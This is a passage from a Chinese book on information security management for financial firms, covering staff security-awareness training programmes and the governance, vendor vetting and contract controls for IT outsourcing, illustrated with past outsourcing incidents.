(8)定期发送风险提示 针对防钓鱼、弱口令、外发邮件安全、客户信息保护等常见的信息安全风险,可以制作一些风险提 示或者电子期刊,结合实际案例,讲解这些信息安全风险的常见表现、解决措施等,主动推送给企业内 部员工和外部客户,让大家从案例中吸取经验教训,避免重蹈覆辙(如图6-6所示)。 图6-6 定期通过热点事件发送风险提示 (9)信息安全智能机器人系统 信息安全智能应答机器人,是参照智能客服的模式,以人工智能技术构建自动客服系统。建立信息 安全智能知识库,涵盖信息安全基础知识、信息安全制度、信息安全案例、信息安全风险防范技巧等丰 富的内容。面向金融企业全体用户提供与系统直接进行文字和自然语言对话的途径,帮助用户用最快的 方式获取信息安全相关的知识。此外,在通过“智能应答机器人”平台进行信息安全知识宣贯的基础上, 还可以形成专用的信息安全知识订阅号,主动推送宣传信息,与用户形成互动。 (10)外部提供的信息安全培训组合服务 金融企业特别是中小型金融企业的信息安全专业团队普遍存在人力资源不足的情况,能完成基本的 信息安全工作已经颇为不易,自主组织和设计各种信息安全培训方案更是一种“奢求”。因此,购置第三 方信息安全培训组合服务,可以作为金融企业信息安全培训工作的有益补充。 信息安全培训组合服务可提供定期的信息安全宣传材料,由于培训机构的产品化设计和专业化能力 较强,可以制作出内容丰富、形式多样的培训材料,定期推送给员工,引导和影响员工的信息安全意识 行为,最终达到提高整体信息安全意识水平的目的。培训机构可以通过信息安全动画、宣传片、视频课 程、宣传画、知识手册、屏保、电子期刊(如图6-7所示)、现场培训等多种形式提供培训组合服务。 选择信息安全组合服务,最重要的是培训机构必须具备丰富的信息安全管理经验和信息安全培训服 务实践能力,拥有具备信息安全专业资质和丰富信息安全培训经验的专业培训师资,且在金融行业承担 过较多的信息安全培训服务,能深刻掌握金融行业信息安全的关键风险点和防范措施。 图6-7 免费订阅网络安全意识期刊 4.培训时机 (1)全员每年例行培训 针对企业全员,每年需要例行开展一些培训,在主题和重点上可以轮换。例如,每年固定一个时间 (例如在企业级工作会议或者企业级科技工作会议上)开展信息安全现场培训或者交流;每年固定一个 时间(例如每年第三季度开始),组织全员参与Elearning在线培训等,使大家“温故而知新”,始终对信息 安全“绷紧一根弦”。 (2)员工入职马上培训 对于新入职员工,在入职后一个月内需要开展信息安全培训,最好采用现场培训的方式开展,使新 员工熟悉了解信息安全管理的必要性和重要性、信息安全相关的基本概念、企业关于信息安全管理的基 本原则、主要的规章制度要点、不能触碰的“高压线”和“底线”、违反信息安全规定的惩罚措施等,并通过 案例学习掌握金融企业关于信息安全管理的基本要求,以帮助新员工在进入企业之初就了解企业的信息 安全文化和信息安全管理原则,初步掌握信息安全相关的基本知识与技能,养成良好的安全习惯,在工 作中注意遵守信息安全管控要求。新员工的信息安全意识培训考核结果,可以与员工的转正相结合。 (3)高危人士时常培训 针对接触企业大量数据的信息科技人员、接触大量客户敏感信息的营销人员、掌握战略或人力资源 管理等内部信息的关键岗位员工等“高危人士”,需要加大信息安全培训的频率,至少每半年接受一次培 训,部分内容可以一直重复、常讲常新,部分内容可以根据当前形势与时俱进,提醒这些人士时刻警惕 风险,防范主动或者被动的信息安全风险。 (4)专业人士专场培训 针对信息科技开发、运维、安全等直接从事信息安全风险防范工作的人士,要定期组织专场的培 训,可以内训也可以参加外训,深入学习最新的信息安全技术和理论知识,形成体系化的知识结构,在 工作中实践运用。 (5)特殊事件重点培训 在出现安全事件等特殊情况后,必须立即开展案例分析,分析事件发生的原因、影响、后续措施 等,着重分析采取何种措施可以避免今后发生类似问题。将这些问题分析透彻并在内部尽可能大的范围 内实现共享,就可以避免重蹈覆辙。 6.4 面向对象的信息安全培训矩阵 所谓面向对象的信息安全培训矩阵,就是将信息安全培训对象、核心诉求和培训“百宝箱”组合在一 起,建立信息安全培训课程和培训对象之间的二维表格,针对不同的岗位设置不同的信息科技风险知识 和技能要求,明确每一类培训对象应该参与的培训内容,确定培训形式及时长等。 1.培训矩阵构成要素 要建立培训矩阵,建议遵循以下三个步骤: 1)分析培训矩阵的第一个维度“培训对象”,将培训对象的分类作为横轴。 2)分析培训矩阵的第二个维度“培训内容”。针对培训对象开展调研,通过代表性人物访谈、调研问 卷、安全意识测试等方式,广泛征集各类培训对象关于信息安全的培训需求和对信息安全培训形式的建 议。综合建议后形成培训内容、形式、资源、时长等,作为纵轴。 3)建立培训对象和培训内容之间的对应关系,形成培训体系的二维矩阵,每个培训对象的培训计划 均可以从矩阵中筛选出来。再结合当年的培训预算、培训覆盖人群目标等,形成年度的培训计划。 2.培训矩阵示例 以下是一个典型信息安全培训矩阵的示例,如表6-1所示,针对不同的培训对象,确定不同的培训内 容,综合所有的培训内容,形成一个良好的培训体系。根据年度工作安排补充上时间维度,全年的信息 安全培训工作规划就出炉了。 信息安全培训矩阵的建立,将一个个零散的、单点的、相互独立的信息安全培训课程,综合形成覆 盖面完整的、系统化的、有针对性的、层次分明的信息安全培训体系,每一项培训都是整体规划的一个 重要、有机的组成部分,整个培训规划涵盖了从基础到专业的不同内容,满足了各个层级、各类人群的 不同需求,促进金融机构全员信息安全知识和技能的全面提升,可以达到良好的目标效益。 表6-1 信息安全培训矩阵 6.5 培训体系实施的效果衡量 一个培训结束后,培训对象是否学习理解到位,往往隐性的,很难用量化的指标来检验。因此,培 训效果衡量一直是培训工作的大难题,信息安全培训工作也不例外。培训后的考试是一种常见的检验方 式,但通常只能衡量培训对象对于知识的当堂掌握情况。而是否可以将知识和实用技能应用到工作中, 才是培训的真正目的所在,因此对实际应用效果的衡量,才是检验培训效果的最好方式。 培训效果评估指标(如表6-2所示)可以从以下几方面来设计: ·衡量培训组织情况,可以建立衡量培训计划执行情况和覆盖范围的指标,包括培训计划执行率、培 训覆盖率(又可以包括全员培训覆盖率、新员工培训覆盖率、外包人员培训覆盖率等几个细分指标)。 ·衡量直接的培训效果,可以建立衡量培训对象对培训内容中涉及的理论、概念、技术等学习掌握程 度的指标。一般先组织笔试,然后将笔试结果作为衡量因素,可以设置的指标包括培训平均分、培训合 格率等。 ·衡量培训执行效果,可以通过日常信息安全检查工作的结果来衡量。指标包括“信息安全日常行为抽 检合格率”“制度执行抽检违规率”“信息安全泄密事件”“重大信息安全责任事件”等。 表6-2 培训效果评估指标 设定或选择以上指标后,给每个指标设置一定的权重,加权平均计算出的综合结果,就可以衡量一 个金融机构信息安全培训取得的整体效果、信息安全意识水平情况,以及信息安全要求落地执行的成 效。必要情况下,可以与员工所在部门、员工本人的绩效挂钩,将上述指标量化结果转化为部门、个人 的考核指标,从而提升全员对信息安全培训的重视程度,提高培训效果。 6.6 小结 本章从信息安全培训的必要性出发,通过案例说明了信息安全意识不足的深刻教训,分析了信息安 全培训对象的核心诉求,并从培训内容、培训需求分析、培训形式、培训时机等方面详细讲解了实战技 巧,最后构建了面向对象的培训矩阵,并设计了实施效果衡量指标。 第7章 外包安全管理 随着金融企业业务的迅速发展和市场竞争的日益激烈,对科技支持能力的要求迅猛增长,但金融企 业普遍存在信息科技人力资源匮乏、技术能力欠缺等问题,人员数量和质量均不能满足业务发展对科技 的要求。因此,大部分金融企业都采用信息科技外包的方式,将其作为自身科技力量的补充。但凡事均 有两面性,信息科技外包这把“双刃剑”,在给金融企业带来专业化能力、推动科技创新、提高科技效 率、实现科技对业务快速支持的同时,也引发了一系列的外包风险。近年来金融行业陆续出现的外包风 险事件,给金融企业和监管机构都敲响了警钟。外包信息安全管理,成为金融企业信息安全管理的重要 组成部分,也成为金融行业监管的工作重点之一。 7.1 外包安全管理的问题与“痛点” 根据中国银监会《银行业金融机构信息科技外包风险监管指引》,信息科技外包是指银行业金融机 构将原本由自身负责处理的信息科技活动委托给服务提供商进行处理的行为。其他类型的金融企业也可 参考类似定义。 将信息科技工作外包给其他服务提供商承担,相较于金融企业自身的员工开展,存在着特殊的风 险。因此,信息科技外包风险防控,已成为金融行业信息科技风险防范的主要任务之一,金融企业必须 采取各种措施,加强信息科技外包安全管理。 7.1.1 几个教训深刻的外包风险事件 近年来国内外爆发了多起与金融企业相关的外包风险事件,其影响面广、危害程度大,给金融企业 造成了较大的损失和声誉风险。 1.外包公司违规收集银行数据事件 2012年5月,国家安全部发布对某外资公司存储产品的代理商北京某公司违规收集银行数据、危害我 国金融信息安全的通告。通告公布他们窃取银行数据的四种手段:一是利用维护之便,使用专用工具; 二是利用故障分析时提供的最高系统权限;三是利用进入银行要害区域的机会,通过偷拍等方式窃取网 络拓扑图、技术方案等敏感信息;四是对回收的硬盘进行分析,非法窃取银行重要信息。 2.韩国某银行外包人员误操作导致服务中断事件 2011年4月12日,韩国某银行因系统瘫痪导致金融服务受到严重影响,全国1154个分支行的服务中 断,影响持续时间长达一周。据调查,故障发生的原因是由于外包团队人员掌握了该银行核心系统的超 级管理员权限,4月12日该人员错误执行了删除命令,导致服务器中的所有文件被删除。外包管理缺位, 系统用户权限控制混乱,外包人员权限过大,是导致问题发生的主要原因。 3.某公司解散影响多个金融企业外包服务 某公司是一家金融IT综合服务提供商,为银行、保险、基金、证券等金融行业、大型企业财务公司 提供整体解决方案和软件产品,业务范围涵盖了规划咨询、软件开发实施、技术服务、IT外包与运营服 务、系统集成及系统维护服务等,是中国金融行业客户重要的IT服务提供商和战略合作伙伴。该公司于 2007年在美国IPO,曾有“第一家在纽交所上市的国内软件企业”之誉,但在2011年8月31日,因涉嫌财务 造假,该公司宣布解散。 该公司事件对国内多家金融企业的IT外包服务项目造成了影响。从2011年初开始,该公司公司已出 现资金紧张、项目人员大量流失等情况,2011年8—9月,公司给各金融企业出具公函,告知部分项目建 设无法执行,建议金融企业寻求第三方公司继续执行该公司承建的项目。各金融企业在2011年底至2012 年初纷纷全面梳理合同,临时将该公司未履行完毕的责任义务全部转移给第三方公司承担,由于团队变 动、人员流动、技术转移等原因,在过渡期内,给各金融企业的系统开发质量、进度和运行稳定性造成 了较大的影响。 4.多媒体查询机供应商某公司突然停业事件 2011年2月,多家银行突然收到多媒体查询机供应和维护商深圳某科技有限公司的通知,该公司因自 身原因从2011年1月31日停止业务经营,从2011年2月1日起将无法提供后续服务,建议用户利用该公司预 留的售后服务保证金及时聘请其他服务商接替后续服务,但未就后续相关工作安排做出任何说明。受此 影响,各银行当时所使用的多媒体查询机突然得不到相应的维护保修服务,给该类设备的稳定运行造成 了较大的影响。 7.1.2 外包安全管理的必要性 1.外包管理是“刚需”,外包安全管理就是必须“支付”的对价 在金融企业所有的外包活动中,信息科技外包所占比重最大。金融企业信息科技外包的目的主要有 两方面: ·弥补自身人力资源的不足,将自身有限的资源投入至最重要的业务系统和最核心的技术掌控,其余 资源通过外包方式补充。 ·充分利用外包公司在规模经济、专业化以及前沿创新技术方面的优势,实现对市场变化和业务需求 的快速响应。 著名的管理学家彼得·德鲁克曾预言:“在10~15年之内,任何企业中仅作后台支持而不创造营业额的 工作都应该外包出去,任何不提供向高级发展的机会和活动、业务也应该采用外包的形式。”可见外包既 有理论层面的强有力支撑,又有实践层面的殷切需求。 既然信息科技外包已经是大势所趋和无法避免的选择,那么信息科技外包风险也就成了金融企业必 须“支付”的对价,是必须且非常重要的工作。金融企业不能“一包了之”“包治百病”,而应该承担起外包风 险管理的责任,必须认识到外包风险,对外包风险进行分析评估,加强外包安全管理,采取风险缓释、 转移、规避等措施,将外包风险控制到合理的、可接受的程度,避免信息技术及服务受制于人。可以 说,不做好外包安全管理,就做不好信息系统管理,进而无法实现对金融企业系统和业务的保驾护航。 2.金融企业面临的外包风险形势严峻 近年来,金融企业信息科技外包发展势头迅猛,外包涉及的范围逐步扩大,已经涵盖了信息科技相 关的规划、需求、开发、基础设施建设、运维等生命周期的各个阶段。如果外包商经营出现风险,外包 商服务质量下降,或者外包商出现不当行为,都有可能对金融企业的信息系统稳定运行及业务服务的安 全造成严重影响。 近年来金融企业由于外包问题引发的信息系统中断、敏感信息泄露等问题较多,外包风险作为金融 企业信息科技风险的重要组成部分,必须加以重视。 3.监管机构对信息科技外包的监管要求趋严趋紧 针对日益严峻的信息科技外包风险形势和层出不穷的外包风险事件,监管机构高度重视,监管要求 逐步加强。 ·中国银监会于2010年出台了《银行业金融机构外包风险管理指引》,对外包的组织架构、风险评 估、外包商尽职调查、合同协议约定等方面提出了具体要求。 ·中国银监会2013年印发了《银行业金融机构信息科技外包风险监管指引》,专门针对信息科技外包 这一比重最大的外包领域提出了很多细化的安全管控要求,定义了信息科技外包的几种类型,规范了银 行信息科技外包风险管理的组织架构和战略内容,细化了信息科技外包活动各阶段、各环节的风险控制 及管理要求,并针对重要外包商、机构集中度外包商、跨境外包商、非驻场外包商、银行业重点外包服 务机构等特殊类型的外包商提出了相应的管理要求,可以作为银行业信息科技外包工作的一个“纲领 性”文件。监管指引中明确要求不得将信息科技管理责任外包,引导银行将信息科技外包管理纳入全面风 险管理体系。 ·2017年中国证监会发出《证券基金经营机构信息技术管理办法》(征求意见稿),其中规定了对“信 息技术服务机构”即外包机构的要求,包括“不得将重要信息系统的运行、维护或日常安全管理交由信息 技术服务机构独立实施”,以及审慎选择信息技术服务机构时应该关注的重点事项、合同约束要求、内部 审查要求、部分服务机构的备案要求、应急处置机制、严禁行为等。 各类监管要求从战略规划的高度和战术执行的细度,为金融企业建立信息科技外包管理体系、制定 战略方针和工作机制提供了规范性的要求,既是指导又是约束。金融企业必须遵循监管要求,在监管要 求的框架下搭建自身的外包风险管控体系,解决基础性、体系性缺失的问题。 7.1.3 外包管理中的常见问题 金融企业将大量的信息科技工作外包,虽然解决了银行自身资源不足的问题,但也暴露了一些风险 隐患。 第一,金融企业对信息科技外包的依赖度大。中小型金融企业对信息科技外包依赖程度普遍较高, 大型金融企业中的信息科技外包也已占相当比例,信息科技外包已成为金融企业信息科技体系中的一个 重要组成部分。由于金融企业自身科技人员数量、知识和能力储备不足,外包人数是金融企业内部员工 人数5~10倍甚至更多的情况屡见不鲜,而且在可以预见的未来这一比例还有增大趋势。大量外包导致企 业内部员工的自主掌控能力变弱,对信息系统的熟悉了解程度降低,自主解决问题的效能下降,核心技 术受制于人。信息系统开发的交付质量和运维保障水平,很大程度上取决于外包人员的技能水平和责任 心,外包商的经营状况、外包商的人员流动、外包商与金融企业的合作关系,都可能对金融企业的信息 科技的业务支持能力、交付效率和信息系统运行稳定性产生重大影响。 第二,金融企业的外包商集中度较高。从单个企业看,部分金融企业将信息科技外包服务集中交给 少量服务提供商承接;从整个行业看,部分外包商承接了多个金融企业的信息科技工作,在金融行业中 服务机构多、市场份额大。外包商集中度较高导致金融企业对于单一外包商的依赖过大,对系统的控制 能力和议价能力下降,一旦外包商自身经营出现风险,或者跟金融企业的合作发生问题,就可能造成影 响面较大的服务中断或者服务质量下降,严重情况下还将导致系统性、区域性的信息科技风险。 第三,外包商经营风险事件日益增多。无论是宏观层面的国际贸易关系、国内外经济形势、行业环 境和发展趋势,还是微观层面的股东关系、公司治理架构、管理层水平等,都可能影响外包商的经营情 况和服务水平。外包商自身经营状况不佳导致产品质量出现问题、团队不稳定,或者在开发、实施、运 维等方面的服务不及时,都可能造成金融企业的服务中断或者服务质量下降,进而直接影响对业务发展 的支持和信息系统运行的稳定性。 第四,外包商员工管理相比金融企业员工管理难度更大。将信息科技活动委托给外部人员处理,相 比金融企业内部员工自行处理而言,面临风险更大,管理难度更高,管理要求更难落实到位。因为外包 人员的归属感、责任感相对不强,往往会认为自己不需要对最终结果负责,只需要对过程负责,不对长 期结果负责,仅对当前阶段性的成果负责,相对而言会更注重短期收益,所以外包人员的责任心、主动 性、纪律性得不到保证,再加上人员流动性较大,知识技能往往难以有效传承,从而难以保证长期持续 的高效率和高质量。 第五,外包商或其员工可能发生主动或被动的不当行为。外包商提供的信息科技服务,有机会接 触、存储大量的敏感信息,例如客户资料、交易数据等,但外包商的风险管理能力、风险控制体系和风 险意识水平相比金融企业的要求来说还有差距。如果外包商或其员工发生主动或被动的不当行为,例如 有意识地收集和倒卖敏感数据,操作失误删除数据或执行错误指令等,可能导致数据损坏、丢失、泄露 或系统服务中断,造成直接或间接经济损失。 第六,外包商不受监管直接约束,信息安全管控水平整体偏低。信息科技外包商不受监管部门的直 接约束,游离于金融企业的监管体系之外,其服务对象和服务结果却又必须遵从金融企业的监管要求。 外包商的信息安全管理体系建设相对滞后,外包人员的风险意识不足,都可能造成金融企业的信息安全 风险。 鉴于上述因素,外包管理中的问题可能导致金融企业面临以下直接风险,并可能进一步导致银行业 金融企业的战略、声誉、合规风险(摘自《银行业金融机构信息科技外包风险监管指引》): ·科技能力丧失,金融企业过度依赖外部资源导致失去科技控制及创新能力,影响业务创新与发展。 ·业务中断,支持业务运营的外包服务无法持续提供导致业务中断。 ·信息泄露,包含客户信息在内的金融企业非公开数据被服务提供商非法获得或泄露。 ·服务水平下降,由于外包服务质量问题或内外部协作效率低下,使得金融企业信息科技服务水平下 降。 由于信息科技外包带来的风险较高,针对上述问题,金融企业需要制订有效的外包安全管控目标, 建立外包安全防控体系。 ·在战略层,应当建立适合本企业的信息科技外包战略,确定信息科技外包管理的目标,明确外包的 总体原则,建立企业层面的信息科技外包安全防控架构,完善外包管理组织体系和制度体系。 ·在战术层,应该按照外包类型分类管理,针对不同类型的外包,建立全生命周期管理的机制,以及 外包安全管理效果衡量机制。 7.2 外包战略体系 1.制定外包战略 金融企业在科技发展水平、科技规模实力、科技资源投入、科技管理模式等方面存在差异,需要根 据本企业的实际情况,综合考虑信息科技战略、外包市场环境、自身风险控制能力,制定合适的外包战 略。 外包战略通常由以下几个部分组成: ·外包管理目标。外包管理的目标通常是降低信息科技成本,缩短新产品开发周期,提高新技术应用 效率和专业性,集中行内优势资源掌握核心关键技术,提高自主掌控能力,主动防范外包风险。 ·外包管理方针。通常由8~16个字组成,基本原则是要重点突出、方向明确、朗朗上口、易于记忆。 例如,“自主掌控,适度外包”“自主外包相结合,自主优先”“自主外包相结合,外包为主”等。 ·外包组织架构。明确董事会、高管层、外包风险管理部门、外包审计部门、外包执行部门的职责分 工,确定部门归属,强化权限的相互制约。 ·外包的选择策略。明确哪些科技职能严禁外包、哪些严格控制外包、哪些适度外包、哪些优先外包 等。例如,涉及战略管理、风险管理、内部审计及其他有关信息科技核心竞争力的职能不得外包,科技 管理责任不得外包,某些关键核心技术或保密技术不得外包;企业级架构设计、重要信息系统的需求分 析和设计、涉及敏感信息分析或处理的工作严格控制外包;非重要信息系统的分析设计和重要信息系统 的编码适度外包;系统软件和电子设备维保、第三方安全服务等优先外包。 ·核心能力建设方案。制订金融企业自身的资源和能力建设方案,确定必须自主掌控的核心能力所属 领域和关键环节,并制订配套的人员补充、技能提升、知识转移方案,有针对性地获取或提升关键的管 理及技术能力,降低对外包商的依赖。例如,明确让自有人员重点承担重要信息系统的需求分析、架构 设计等开发职能,以及网络、数据库等关键的运维职能,并提供相应的人员数量、质量、技能提升、知 识转移计划等配套保障。 ·外包商关系管理策略。根据金融企业自身的业务需求、科技规模、市场地位等,确定外包商依赖 度、集中度管理的目标,制订外包商引入的流程、外包商准入标准、外包商退出机制、外包商风险评估 指标、外包商服务评价体系、外包商分级管理和差异化管理策略等。 2.明确组织架构 构建合理的信息科技外包管理组织架构,明确职责分工,是外包战略得以有效执行的重要保障。外 包管理组织架构包括三个层级: ·董事会和高管层。董事会及高级管理层对信息科技外包负最终管理责任,主要职责包括明确各部门 在外包管理方面的职责分工,设计必要的监督和控制机制,审批外包战略、制度和流程,审批重大项目 外包决策,推动和完善外包风险管理体系建设,督促各部门履行职责以确保实现外包管理效果等。 ·信息科技外包管理相关部门。包括信息科技外包管理及外包风险管理的主管部门、执行部门和监督 部门,各部门间应建立工作汇报及沟通交流机制。外包主管部门通常可以由风险或合规部门担任,主要 负责识别、监测、评估外包风险,向董事会及高管层报告风险评估结果,督促外包管理工作持续改善; 外包执行部门通常由与外包管理相关的预算、采购、合同签订、执行、外包商管理等相关部门担任,负 责外包管理相关制度制定、外包活动的具体执行落实、外包商日常管理,并向主管部门报告外包活动情 况;外包监督部门通常由稽核审计部门担任,主要职责是开展定期或专项的信息科技外包管理审计工 作。 ·信息科技部门内部科室。在信息科技部门内部也要进行专业化分工和岗位制衡。例如安排科技管理 职能科室,负责牵头组织外包商准入、评价、退出管理,以及负责预算申请、商务采购、合同签订和执 行等相关职能;安排开发、运维等职能科室,按照“谁使用,谁负责”的原则,负责外包商的日常管理; 安排信息安全职能科室,负责检查和监督外包管理机制的有效落实,识别风险并推动风险整改。 3.强化制度约束 信息科技外包管理制度体系是外包工作有效开展的准绳,必须遵循监管指引,并根据行内的组织架 构和制度体系建设,以规范和指导外包工作的落地执行。外包管理制度包括三个层级: ·政策级制度。包括外包管理总纲、政策等,通常,整个金融企业只有一份信息科技外包管理政策, 纳入整体信息科技管理纲领性制度,作为一个独立章节出现,提出对应的管理要求。主要是定义信息科 技外包管理的目标、范围,解决管理“什么”以及“为什么”需要管理的问题。 ·办法级制度。通常根据各部门职责分工可以有多个关于外包管理的办法,例如,风险或合规部门的 外包风险管理办法,信息科技部门的信息科技外包管理办法,稽核审计部门的外包审计管理办法,以及 其他部门的外包商管理办法、预算管理办法、采购管理办法等。管理办法通常定义信息科技外包管理相 关各部门的职责分工、工作流程和管理要求,解决由“谁”来管理以及“如何”管理的问题。 ·规程级制度。通常在部门内部发布,是办法级制度的支持性文档,例如,信息科技外包商采购管理 细则,信息科技外包合同签订和执行细则,外包商现场管理工作细则,外包商考核评价管理细则,外包 商风险监测和评估细则。重点在于定义部门内部各科室的职责分工、工作流程、详细操作步骤、具体实 施方法、操作检查列表等,直接指导相关岗位的操作。 4.规划核心能力建设 要掌控和化解信息科技外包风险,最关键的环节和最大的挑战在于金融企业自身的核心能力建设。 任何信息科技外包工作,都必须以不妨碍核心能力建设和自主掌控关键技术为导向,否则,一旦核心技 术受制于人,金融企业就丧失了主动权和议价权,大大弱化了对系统的控制权和对风险的掌控力,金融 企业的核心能力建设要量体裁衣、量力而行,不能急于求成,没有统一准则,“适合的才是最好的”。 大型金融企业通常自身科技力量雄厚,信息系统建设和日常运维以内部资源为主,自主研发能力和 自主掌控能力较强,外包资源主要作为人力的补充,投入到非关键系统或者非关键环节。大型金融企业 自主掌控能力加强,核心能力建设目标较为清晰,执行比较到位。 中小型金融企业自身科技力量普遍不足,但信息化建设高速发展,信息系统规模日趋庞大,因此经 常将科技规划、应用开发、基础设施建设及网络运维等工作外包,利用外包商的专业能力和快速交付能 力,提升科技支持水平。中小型金融企业自主掌控能力受到更大的挑战,亟待加强自身核心能力建设。 加强核心能力建设,需要分三步走: 1)明确建设目标,要掌控哪些科技职能、哪些环节的核心能力。 2)确定核心能力建设相关环节的资源投入方案。 3)制订核心能力建设效果评估的方法并执行、反馈、调整。 (1)明确核心能力建设目标 不同类型的信息科技外包,金融企业需要掌握的核心能力不一样。因此要树立分级分类的理念,细 分本企业所有的外包类型和特点,针对每种类型给出对应的核心能力建设目标。 对于规划咨询类外包,主要目的是利用外包人员丰富的知识、行业经验、体系化的思维框架,帮助 金融企业制订规划,例如,科技规划,数据中心建设规划,数据治理规划等。这一类外包,金融企业核 心能力建设的重点是理解规划制订全过程的逻辑和推导的过程,后续能使规划落地执行,并具备能力自 主滚动制订和调整规划。金融企业应该安排核心骨干人员全程参与规划的制订,在外包人员撤场前必须 完成知识转移,在外包人员撤场后能很好地承接规划的执行和更新。 对于应用研发类外包,主要目的是利用外包商对前沿技术的掌控和研发能力以及丰富的人力资源, 帮助金融企业解决快速响应业务需求的问题。这一类外包,金融企业核心能力建设的重点是掌握应用系 统的技术架构,具备需求分析和系统设计的能力,能全面把握应用系统建设过程中的质量控制和风险管 理,随时可以应对外包商更替、外包商经营状况变化及人员流失的风险。 对于系统运维类外包,主要目的是利用原厂商或者第三方代理公司提供的设备,规划设计方案、软 件安装配置方案等,完成机房风火水电、网络、服务器、存储等基础设施项目实施,或者操作系统、数 据库、中间件等系统软件的安装配置;利用外包资源完成日常运维工作,帮助金融企业快速完成部署和 解决故障。这一类外包,金融企业核心能力建设的重点是掌握设备和系统软件运行调优方案,了解常见 故障及解决方法,掌握设备运行效果的主要监测指标及监控方法,具备快速定位和解决问题的能力。 对于安全服务类外包,主要目的是利用安全厂商对信息安全趋势的了解、对安全态势和安全漏洞的 深入钻研,帮助金融企业完成安全技术平台部署实施、安全漏洞发现和防范以及安全运营工作,补充人 员数量和安全专业能力的不足。这一类外包,金融企业核心能力建设的重点是对安全技术架构的全局掌 控,对安全规范的自主建立,对安全漏洞原理和防范技术的深度理解,以及对安全运营机制流程的建立 等。 (2)确定核心能力建设的资源投入方案 无论是哪一类外包,目标确定后,配套的资源安排到位方可真正达成核心能力建设目标。针对各种 外包服务活动,都需要安排技术人员深度参与,在过程中学习掌握外包商的架构、方法、思维模式以及 具体技术成果,保障外包成果交付和知识转移的效果。 表7-1是资源投入方案和计划示例,金融企业应根据自身实际情况设计方案。 表7-1 项目资源投入计划表 (3)制订核心能力建设的效果评估方法 核心能力建设方案制订后,需要建立监测指标,来评估、检验实施的效果,并根据执行效果的跟踪 反馈结果,动态调整建设方案,形成螺旋上升的闭环。可以设计如表7-2所示的评估指标。 表7-2 核心能力建设评估 7.3 外包战术体系 从战术层面看,要加强外包安全管理,对外包风险进行有效的控制,重点是要形成外包全生命周期 管理的良性循环,建立“事前预防,事中控制,事后处置”的工作机制,要按照“级差准入,持续评价,合 作竞争,能上能下”的原则,对外包商实行差别化的准入、遴选、维护、退出管理。 7.3.1 事前预防 在事前预防阶段,风险控制的重点是要开展外包项目风险评估,设立外包商准入标准,开展外包商 考察,同时通过合同形成法律约束。目的是及早发现各种外包风险的前兆,并立即予以纠正或防范,把 风险消灭在萌芽状态,避免错误处理造成风险事件。 1.外包项目风险评估 在外包项目的立项阶段,一方面,需要开展外包战略符合度分析,评估外包商选择策略和核心能力 建设方案是否符合外包战略要求;另一方面,需要开展外包项目风险评估,根据信息科技外包项目的背 景、目的、范围、性质,分析是否存在科技能力丧失、业务中断、信息泄露等风险,并采取相应的风险 处置措施,不能因外包活动的引入而增加整体剩余风险。 在外包项目立项阶段的可行性研究报告中,可以增加专门的风险评估章节,具体内容可参见表7-3。 表7-3 外包商风险评估表 外包项目立项完毕后,需要甄选合格的外包商开展合作,可遵循以下步骤: 1)针对不同类型的外包商,制定外包商准入的最低标准,并要求外包商围绕准入标准提供详尽的证 明材料。 2)审查外包商的技术能力、专业经验、业务规模、业务策略及风险控制能力,评估可能存在的法律 风险、合规风险、操作风险等,必要时对外包商开展现场考察或尽职调查。 3)建立外包商库,确定备选外包商名单。 4)通过商务采购流程,确定中选外包商并签订合同。 2.外包商准入和审查 不同类型的外包采购,有不同的准入标准,表7-4列出了一些共通性的标准,可以根据需要适当裁剪 使用。外包商需要根据标准,提供完备有效的证明材料。 表7-4 外包商准入标准 3.重要外包商尽职调查 对于通过了初步资料审查,满足最低准入条件的外包商,可以纳入进一步考察的范围。对于重要外 包服务的外包商,必要时需开展尽职调查。 尽职调查前,应制订详细的尽职调查方案和计划,明确尽职调查事项、小组成员分工、时间安排、 资料调阅清单、外包商配合工作要求等,提前发给每个小组成员,以做好准备。 尽职调查以现场考察的方式开展,可以由外包执行部门、外包管理部门、采购主管部门以及风险管 理等部门安排人员组成尽职调查小组,赴外包商所在地,通过现场勘查、访谈、资料调阅、穿行测试等 方式,深入调查评估外包商的从业时间、股东关系、组织架构、发展战略、财务稳健性、经营声誉、企 业文化、行业经验、市场地位及发展趋势、过往合作口碑、管理能力、技术实力、制度体系、员工情 况、突发事件应急处置能力、风险控制能力等,综合评价外包服务商的发展前景、资质、能力、信誉、 意愿,以确定是否纳入候选外包商名单。 外包商尽职调查表可参考表7-5。 表7-5 外包商尽职调查表 4.外包商入库管理 通过审查和尽职调查的外包商,全部纳入备选外包商库进行管理,记录外包商的基本信息、法人、 商务联系人、技术联系人等,并把外包商提供的资料、尽职调查收集材料和表格等,统一归档管理。 5.采购和商务谈判 按照内部的外包商管理和采购制度完成采购和商务谈判流程后,金融企业将与外包商签订采购合 同,约定双方的权利和义务以及违约责任等。 合同签订流程主要包括起草、服务商确认、法律部门审查、正式签署等环节。为了避免合同条款遗 漏、约定内容不清晰等无法保障金融企业正当权益的风险,同时提高合同条款拟定的效率,金融企业一 般会要求外包商接受自己的合同条款。针对咨询、开发、测试、系统软件维护、硬件维护等不同的IT服 务领域,拟定不同的合同模板,规范服务水平条款和关键绩效指标。 为了防控外包服务中的风险,合同中必须至少包含以下内容(摘自《银行业金融机构信息科技外包 风险监管指引》,但同样适用于其他金融企业): ·服务范围、服务内容、工作时限及安排、责任分配、交付物要求,以及后续合作中的相关限定条 件。 ·合规与内控要求,对法律法规及金融企业内部管理制度的遵从要求、监管政策的通报贯彻机制、服 务提供商的内控措施。 ·服务连续性要求,服务提供商的服务连续性管理目标应当满足金融企业业务连续性目标要求。 ·金融企业监控和检查的权利和频率,服务提供商配合其内、外部审计机构检查,以及配合金融业监 管机构检查的责任。 ·政策或环境变化因素等在内的合同变更或终止的触发条件,外包服务提供商在过渡期间应该履行的 主要职责及合同变更或终止的过渡安排,包括信息、资料和设施的交接处置等过渡期间相关服务的安 排。 ·外包服务过程中产生、加工、交互的信息和知识产权的归属权,以及允许服务提供商使用的内容及 范围,对服务提供商使用合法软、硬件产品的要求。 ·服务要求或服务水平条款,至少应当包括外包服务的关键要素、服务时效和可用性、数据的机密性 和完整性要求、变更的控制、安全标准的遵守情况、技术支持水平等。 ·争端解决机制、违约及赔偿条款,至少应当包括服务质量违约、安全违约、知识产权违约等,以及 在各种违约情况下的赔偿和外包争端的解决机制。 ·报告条款,至少应当包括常规报告内容和报告频度、突发事件时的报告路线、报告方式及时限要 求。 6.外包商依赖度和集中度风险控制 在外包商准入阶段,要特别注意控制外包依赖度和集中度风险。 ·控制外包依赖度风险。外包依赖度越高,意味着外包商的转换成本越高,受到外包商的服务水平影 